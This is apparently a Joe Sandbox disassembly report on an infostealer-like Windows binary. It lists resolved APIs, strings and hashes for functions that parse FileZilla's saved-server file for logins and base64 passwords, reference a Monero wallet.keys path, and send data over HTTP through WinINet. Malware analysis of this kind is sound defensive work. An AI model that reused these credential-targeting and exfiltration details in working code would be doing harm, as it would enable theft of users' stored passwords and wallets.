GetProcAddress.KERNEL32(74DD0000,010A5710), ref: 00A19D39
GetProcAddress.KERNEL32(74DD0000,010A5730), ref: 00A19D51
GetProcAddress.KERNEL32(74DD0000,010A5750), ref: 00A19D69
GetProcAddress.KERNEL32(74DD0000,010A57D0), ref: 00A19D82
GetProcAddress.KERNEL32(74DD0000,010BD0E0), ref: 00A19D9A
GetProcAddress.KERNEL32(74DD0000,010BCFD8), ref: 00A19DB2
GetProcAddress.KERNEL32(74DD0000,010ABCE8), ref: 00A19DCB
GetProcAddress.KERNEL32(74DD0000,010A5A70), ref: 00A19DE3
GetProcAddress.KERNEL32(74DD0000,010BCDF8), ref: 00A19DFB
GetProcAddress.KERNEL32(74DD0000,010BCF48), ref: 00A19E14
GetProcAddress.KERNEL32(74DD0000,010BD098), ref: 00A19E2C
GetProcAddress.KERNEL32(74DD0000,010BCE88), ref: 00A19E44
GetProcAddress.KERNEL32(74DD0000,010A57F0), ref: 00A19E5D
GetProcAddress.KERNEL32(74DD0000,010BCF90), ref: 00A19E75
GetProcAddress.KERNEL32(74DD0000,010BCEB8), ref: 00A19E8D
GetProcAddress.KERNEL32(74DD0000,010BCFF0), ref: 00A19EA6
GetProcAddress.KERNEL32(74DD0000,010BCF30), ref: 00A19EBE
GetProcAddress.KERNEL32(74DD0000,010BCF78), ref: 00A19ED6
GetProcAddress.KERNEL32(74DD0000,010BCE40), ref: 00A19EEF
GetProcAddress.KERNEL32(74DD0000,010BCED0), ref: 00A19F07
GetProcAddress.KERNEL32(74DD0000,010BCE58), ref: 00A19F1F
GetProcAddress.KERNEL32(74DD0000,010BD008), ref: 00A19F38
GetProcAddress.KERNEL32(74DD0000,010BA540), ref: 00A19F50
GetProcAddress.KERNEL32(74DD0000,010BCE70), ref: 00A19F68
GetProcAddress.KERNEL32(74DD0000,010BCEE8), ref: 00A19F81
GetProcAddress.KERNEL32(74DD0000,010A5930), ref: 00A19F99
GetProcAddress.KERNEL32(74DD0000,010BCF00), ref: 00A19FB1
GetProcAddress.KERNEL32(74DD0000,010A5950), ref: 00A19FCA
GetProcAddress.KERNEL32(74DD0000,010BCF18), ref: 00A19FE2
GetProcAddress.KERNEL32(74DD0000,010BCFA8), ref: 00A19FFA
GetProcAddress.KERNEL32(74DD0000,010A5970), ref: 00A1A013
GetProcAddress.KERNEL32(74DD0000,010A5D30), ref: 00A1A02B
LoadLibraryA.KERNEL32(010BCFC0,?,00A15CA3,00A20AEB,?,?,?,?,?,?,?,?,?,?,00A20AEA,00A20AE3), ref: 00A1A03D
LoadLibraryA.KERNEL32(010BD020,?,00A15CA3,00A20AEB,?,?,?,?,?,?,?,?,?,?,00A20AEA,00A20AE3), ref: 00A1A04E
LoadLibraryA.KERNEL32(010BD038,?,00A15CA3,00A20AEB,?,?,?,?,?,?,?,?,?,?,00A20AEA,00A20AE3), ref: 00A1A060
LoadLibraryA.KERNEL32(010BD050,?,00A15CA3,00A20AEB,?,?,?,?,?,?,?,?,?,?,00A20AEA,00A20AE3), ref: 00A1A072
LoadLibraryA.KERNEL32(010BD068,?,00A15CA3,00A20AEB,?,?,?,?,?,?,?,?,?,?,00A20AEA,00A20AE3), ref: 00A1A083
LoadLibraryA.KERNEL32(010BD080,?,00A15CA3,00A20AEB,?,?,?,?,?,?,?,?,?,?,00A20AEA,00A20AE3), ref: 00A1A095
LoadLibraryA.KERNEL32(010BD0B0,?,00A15CA3,00A20AEB,?,?,?,?,?,?,?,?,?,?,00A20AEA,00A20AE3), ref: 00A1A0A7
LoadLibraryA.KERNEL32(010BD0C8,?,00A15CA3,00A20AEB,?,?,?,?,?,?,?,?,?,?,00A20AEA,00A20AE3), ref: 00A1A0B8
GetProcAddress.KERNEL32(75290000,010A5C90), ref: 00A1A0DA
GetProcAddress.KERNEL32(75290000,010BD3E0), ref: 00A1A0F2
GetProcAddress.KERNEL32(75290000,010B9108), ref: 00A1A10A
GetProcAddress.KERNEL32(75290000,010BD338), ref: 00A1A123
GetProcAddress.KERNEL32(75290000,010A5D10), ref: 00A1A13B
GetProcAddress.KERNEL32(6FC70000,010AB720), ref: 00A1A160
GetProcAddress.KERNEL32(6FC70000,010A5BF0), ref: 00A1A179
GetProcAddress.KERNEL32(6FC70000,010AB608), ref: 00A1A191
GetProcAddress.KERNEL32(6FC70000,010BD2F0), ref: 00A1A1A9
GetProcAddress.KERNEL32(6FC70000,010BD350), ref: 00A1A1C2
GetProcAddress.KERNEL32(6FC70000,010A5C30), ref: 00A1A1DA
GetProcAddress.KERNEL32(6FC70000,010A5DF0), ref: 00A1A1F2
GetProcAddress.KERNEL32(6FC70000,010BD368), ref: 00A1A20B
GetProcAddress.KERNEL32(752C0000,010A5AD0), ref: 00A1A22C
GetProcAddress.KERNEL32(752C0000,010A5DB0), ref: 00A1A244
GetProcAddress.KERNEL32(752C0000,010BD158), ref: 00A1A25D
GetProcAddress.KERNEL32(752C0000,010BD380), ref: 00A1A275
GetProcAddress.KERNEL32(752C0000,010A5B30), ref: 00A1A28D
GetProcAddress.KERNEL32(74EC0000,010AB9A0), ref: 00A1A2B3
GetProcAddress.KERNEL32(74EC0000,010AB9C8), ref: 00A1A2CB
GetProcAddress.KERNEL32(74EC0000,010BD2D8), ref: 00A1A2E3
GetProcAddress.KERNEL32(74EC0000,010A5AF0), ref: 00A1A2FC
GetProcAddress.KERNEL32(74EC0000,010A5B10), ref: 00A1A314
GetProcAddress.KERNEL32(74EC0000,010AB748), ref: 00A1A32C
GetProcAddress.KERNEL32(75BD0000,010BD170), ref: 00A1A352
GetProcAddress.KERNEL32(75BD0000,010A5E10), ref: 00A1A36A
GetProcAddress.KERNEL32(75BD0000,010B9188), ref: 00A1A382
GetProcAddress.KERNEL32(75BD0000,010BD2A8), ref: 00A1A39B
GetProcAddress.KERNEL32(75BD0000,010BD308), ref: 00A1A3B3
GetProcAddress.KERNEL32(75BD0000,010A5D90), ref: 00A1A3CB
GetProcAddress.KERNEL32(75BD0000,010A5C10), ref: 00A1A3E4
GetProcAddress.KERNEL32(75BD0000,010BD278), ref: 00A1A3FC
GetProcAddress.KERNEL32(75BD0000,010BD398), ref: 00A1A414
GetProcAddress.KERNEL32(75A70000,010A5C50), ref: 00A1A436
GetProcAddress.KERNEL32(75A70000,010BD320), ref: 00A1A44E
GetProcAddress.KERNEL32(75A70000,010BD248), ref: 00A1A466
GetProcAddress.KERNEL32(75A70000,010BD3B0), ref: 00A1A47F
GetProcAddress.KERNEL32(75A70000,010BD3C8), ref: 00A1A497
GetProcAddress.KERNEL32(75450000,010A5B50), ref: 00A1A4B8
GetProcAddress.KERNEL32(75450000,010A5B70), ref: 00A1A4D1
GetProcAddress.KERNEL32(75DA0000,010A5E30), ref: 00A1A4F2
GetProcAddress.KERNEL32(75DA0000,010BD260), ref: 00A1A50A
GetProcAddress.KERNEL32(6F070000,010A5E50), ref: 00A1A530
GetProcAddress.KERNEL32(6F070000,010A5C70), ref: 00A1A548
GetProcAddress.KERNEL32(6F070000,010A5CB0), ref: 00A1A560
GetProcAddress.KERNEL32(6F070000,010BD0F8), ref: 00A1A579
GetProcAddress.KERNEL32(6F070000,010A5D50), ref: 00A1A591
GetProcAddress.KERNEL32(6F070000,010A5B90), ref: 00A1A5A9
GetProcAddress.KERNEL32(6F070000,010A5DD0), ref: 00A1A5C2
GetProcAddress.KERNEL32(6F070000,010A5AB0), ref: 00A1A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 00A1A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 00A1A607
GetProcAddress.KERNEL32(75AF0000,010BD230), ref: 00A1A629
GetProcAddress.KERNEL32(75AF0000,010B9118), ref: 00A1A641
GetProcAddress.KERNEL32(75AF0000,010BD1D0), ref: 00A1A659
GetProcAddress.KERNEL32(75AF0000,010BD290), ref: 00A1A672
GetProcAddress.KERNEL32(75D90000,010A5BB0), ref: 00A1A693
GetProcAddress.KERNEL32(6F9D0000,010BD2C0), ref: 00A1A6B4
GetProcAddress.KERNEL32(6F9D0000,010A5BD0), ref: 00A1A6CD
GetProcAddress.KERNEL32(6F9D0000,010BD110), ref: 00A1A6E5
GetProcAddress.KERNEL32(6F9D0000,010BD188), ref: 00A1A6FD

Strings

InternetSetOptionA, xrefs: 00A1A5E5
HttpQueryInfoA, xrefs: 00A1A5FC

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: fec4bbead6d68e41b112071399d197067e1886fcae0dcb4a3893b200c8e79b8f
Instruction ID: f91e4c2ac891fa5faba38b5002e368cdc0b968304229a7aa6e1c9d45dd9e10ea
Opcode Fuzzy Hash: fec4bbead6d68e41b112071399d197067e1886fcae0dcb4a3893b200c8e79b8f
Instruction Fuzzy Hash: 55620BBD5C0200AFD364DFA9ED88B6E3BF9F78E701714851AB609C3274D6399841DB62

Function 00A07710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00A07724
RtlAllocateHeap.NTDLL(00000000), ref: 00A0772B
lstrcat.KERNEL32(?,010B9C80), ref: 00A078DB
lstrcat.KERNEL32(?,?), ref: 00A078EF
lstrcat.KERNEL32(?,?), ref: 00A07903
lstrcat.KERNEL32(?,?), ref: 00A07917
lstrcat.KERNEL32(?,010BE590), ref: 00A0792B
lstrcat.KERNEL32(?,010BE5A8), ref: 00A0793F
lstrcat.KERNEL32(?,010BE608), ref: 00A07952
lstrcat.KERNEL32(?,010BE548), ref: 00A07966
lstrcat.KERNEL32(?,010B9D08), ref: 00A0797A
lstrcat.KERNEL32(?,?), ref: 00A0798E
lstrcat.KERNEL32(?,?), ref: 00A079A2
lstrcat.KERNEL32(?,?), ref: 00A079B6
lstrcat.KERNEL32(?,010BE590), ref: 00A079C9
lstrcat.KERNEL32(?,010BE5A8), ref: 00A079DD
lstrcat.KERNEL32(?,010BE608), ref: 00A079F1
lstrcat.KERNEL32(?,010BE548), ref: 00A07A04
lstrcat.KERNEL32(?,010B9D70), ref: 00A07A18
lstrcat.KERNEL32(?,?), ref: 00A07A2C
lstrcat.KERNEL32(?,?), ref: 00A07A40
lstrcat.KERNEL32(?,?), ref: 00A07A54
lstrcat.KERNEL32(?,010BE590), ref: 00A07A68
lstrcat.KERNEL32(?,010BE5A8), ref: 00A07A7B
lstrcat.KERNEL32(?,010BE608), ref: 00A07A8F
lstrcat.KERNEL32(?,010BE548), ref: 00A07AA3
lstrcat.KERNEL32(?,010B9DD8), ref: 00A07AB6
lstrcat.KERNEL32(?,?), ref: 00A07ACA
lstrcat.KERNEL32(?,?), ref: 00A07ADE
lstrcat.KERNEL32(?,?), ref: 00A07AF2
lstrcat.KERNEL32(?,010BE590), ref: 00A07B06
lstrcat.KERNEL32(?,010BE5A8), ref: 00A07B1A
lstrcat.KERNEL32(?,010BE608), ref: 00A07B2D
lstrcat.KERNEL32(?,010BE548), ref: 00A07B41
lstrcat.KERNEL32(?,010BE648), ref: 00A07B55
lstrcat.KERNEL32(?,?), ref: 00A07B69
lstrcat.KERNEL32(?,?), ref: 00A07B7D
lstrcat.KERNEL32(?,?), ref: 00A07B91
lstrcat.KERNEL32(?,010BE590), ref: 00A07BA4
lstrcat.KERNEL32(?,010BE5A8), ref: 00A07BB8
lstrcat.KERNEL32(?,010BE608), ref: 00A07BCC
lstrcat.KERNEL32(?,010BE548), ref: 00A07BDF
lstrcat.KERNEL32(?,010BE6B0), ref: 00A07BF3
lstrcat.KERNEL32(?,?), ref: 00A07C07
lstrcat.KERNEL32(?,?), ref: 00A07C1B
lstrcat.KERNEL32(?,?), ref: 00A07C2F
lstrcat.KERNEL32(?,010BE590), ref: 00A07C43
lstrcat.KERNEL32(?,010BE5A8), ref: 00A07C56
lstrcat.KERNEL32(?,010BE608), ref: 00A07C6A
lstrcat.KERNEL32(?,010BE548), ref: 00A07C7E

Part of subcall function 00A075D0: lstrcat.KERNEL32(2F780020,00A217FC), ref: 00A07606
Part of subcall function 00A075D0: lstrcat.KERNEL32(2F780020,00000000), ref: 00A07648
Part of subcall function 00A075D0: lstrcat.KERNEL32(2F780020, : ), ref: 00A0765A
Part of subcall function 00A075D0: lstrcat.KERNEL32(2F780020,00000000), ref: 00A0768F
Part of subcall function 00A075D0: lstrcat.KERNEL32(2F780020,00A21804), ref: 00A076A0
Part of subcall function 00A075D0: lstrcat.KERNEL32(2F780020,00000000), ref: 00A076D3
Part of subcall function 00A075D0: lstrcat.KERNEL32(2F780020,00A21808), ref: 00A076ED
Part of subcall function 00A075D0: task.LIBCPMTD ref: 00A076FB

lstrcat.KERNEL32(?,010BE758), ref: 00A07E0B
lstrcat.KERNEL32(?,010BD9E0), ref: 00A07E1E
lstrlen.KERNEL32(2F780020), ref: 00A07E2B
lstrlen.KERNEL32(2F780020), ref: 00A07E3B

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: 664109c4f029e9f6b62e66c72d56888f3cfe818335476ac79b2661c696e1aec1
Instruction ID: 2bf5407bfd53985332864aa951c054a588fd9d80b9e3757446dc3c5ac0c1d181
Opcode Fuzzy Hash: 664109c4f029e9f6b62e66c72d56888f3cfe818335476ac79b2661c696e1aec1
Instruction Fuzzy Hash: 7B32EFBAD40318ABD715EBA0DC85EEE737DBB49700F444A98F21962090EE74E785CF51

Function 00A10250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

Part of subcall function 00A18DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A18E0B

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Part of subcall function 00A099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00A099EC
Part of subcall function 00A099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00A09A11
Part of subcall function 00A099C0: LocalAlloc.KERNEL32(00000040,?), ref: 00A09A31
Part of subcall function 00A099C0: ReadFile.KERNEL32(000000FF,?,00000000,00A0148F,00000000), ref: 00A09A5A
Part of subcall function 00A099C0: LocalFree.KERNEL32(00A0148F), ref: 00A09A90
Part of subcall function 00A099C0: CloseHandle.KERNEL32(000000FF), ref: 00A09A9A

Part of subcall function 00A18E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00A18E52

GetProcessHeap.KERNEL32(00000000,000F423F,00A20DBA,00A20DB7,00A20DB6,00A20DB3), ref: 00A10362
RtlAllocateHeap.NTDLL(00000000), ref: 00A10369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00A10385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A20DB2), ref: 00A10393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00A103CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A20DB2), ref: 00A103DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00A10419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A20DB2), ref: 00A10427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00A10463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A20DB2), ref: 00A10475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A20DB2), ref: 00A10502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A20DB2), ref: 00A1051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A20DB2), ref: 00A10532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A20DB2), ref: 00A1054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00A10562
lstrcat.KERNEL32(?,profile: null), ref: 00A10571
lstrcat.KERNEL32(?,url: ), ref: 00A10580
lstrcat.KERNEL32(?,00000000), ref: 00A10593
lstrcat.KERNEL32(?,00A21678), ref: 00A105A2
lstrcat.KERNEL32(?,00000000), ref: 00A105B5
lstrcat.KERNEL32(?,00A2167C), ref: 00A105C4
lstrcat.KERNEL32(?,login: ), ref: 00A105D3
lstrcat.KERNEL32(?,00000000), ref: 00A105E6
lstrcat.KERNEL32(?,00A21688), ref: 00A105F5
lstrcat.KERNEL32(?,password: ), ref: 00A10604
lstrcat.KERNEL32(?,00000000), ref: 00A10617
lstrcat.KERNEL32(?,00A21698), ref: 00A10626
lstrcat.KERNEL32(?,00A2169C), ref: 00A10635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00A20DB2), ref: 00A1068E

Strings

login: , xrefs: 00A105CA
<Pass encoding="base64">, xrefs: 00A1045A
password: , xrefs: 00A105FB
profile: null, xrefs: 00A10568
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 00A102A4
browser: FileZilla, xrefs: 00A10559
<User>, xrefs: 00A10410
<Port>, xrefs: 00A103C6
<Host>, xrefs: 00A1037C
url: , xrefs: 00A10577

Memory Dump Source

Source File: 00000000.00000002.1902925745.0000000000A01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1902901649.0000000000A00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A5A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A85000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000A92000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000AEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000B1E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1902925745.0000000000BCB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000DDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000ED8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903663483.0000000000EEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1903947471.0000000000EEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904061782.0000000001084000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1904081234.0000000001085000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: a07bb37fe9519db89e3563ec53013407d37c301bdb7a264970794c1fb5c22cb0
Instruction ID: b8720aeefe99290f2b09a17c3726a449bfb214dd74848a28cc28d67935d86d77
Opcode Fuzzy Hash: a07bb37fe9519db89e3563ec53013407d37c301bdb7a264970794c1fb5c22cb0
Instruction Fuzzy Hash: FAD14075D41108ABDB04EBF4DE96EEE7379FF24310F544428F102A6091EF74AA86CB62

Function 00A05100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00A1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00A1A7E6

Part of subcall function 00A047B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00A04839
Part of subcall function 00A047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00A04849

lstrlen.KERNEL32(00000000), ref: 00A05193

Part of subcall function 00A18EA0: CryptBinaryToStringA.CRYPT32(00000000,00A05184,40000001,00000000,00000000,?,00A05184), ref: 00A18EC0

Part of subcall function 00A1A740: lstrcpy.KERNEL32(00A20E17,00000000), ref: 00A1A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00A05207
StrCmpCA.SHLWAPI(?,010BE8C8), ref: 00A05225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A05340
HttpOpenRequestA.WININET(00000000,010BE888,?,010BDEA0,00000000,00000000,00400100,00000000), ref: 00A053A4

Part of subcall function 00A1A9B0: lstrlen.KERNEL32(?,010B8F58,?,\Monero\wallet.keys,00A20E17), ref: 00A1A9C5
Part of subcall function 00A1A9B0: lstrcpy.KERNEL32(00000000), ref: 00A1AA04
Part of subcall function 00A1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00A1AA12

Part of subcall function 00A1A8A0: lstrcpy.KERNEL32(?,00A20E17), ref: 00A1A905

Part of subcall function 00A1A920: lstrcpy.KERNEL32(00000000,?), ref: 00A1A972
Part of subcall function 00A1A920: lstrcat.KERNEL32(00000000), ref: 00A1A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,010BE868,00000000,?,010BA2A0,00000000,?,00A219DC,00000000,?,00A151CF), ref: 00A05737
lstrlen.KERNEL32(00000000), ref: 00A0574B
GetProcessHeap.KERNEL32(00000000,?), ref: 00A0575C
RtlAllocateHeap.NTDLL(00000000), ref: 00A05763
lstrlen.KERNEL32(00000000), ref: 00A05778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00A057A9
lstrlen.KERNEL32(00000000), ref: 00A057C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00A057E1
lstrlen.KERNEL32(00000000,?,?), ref: 00A0580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00A05822
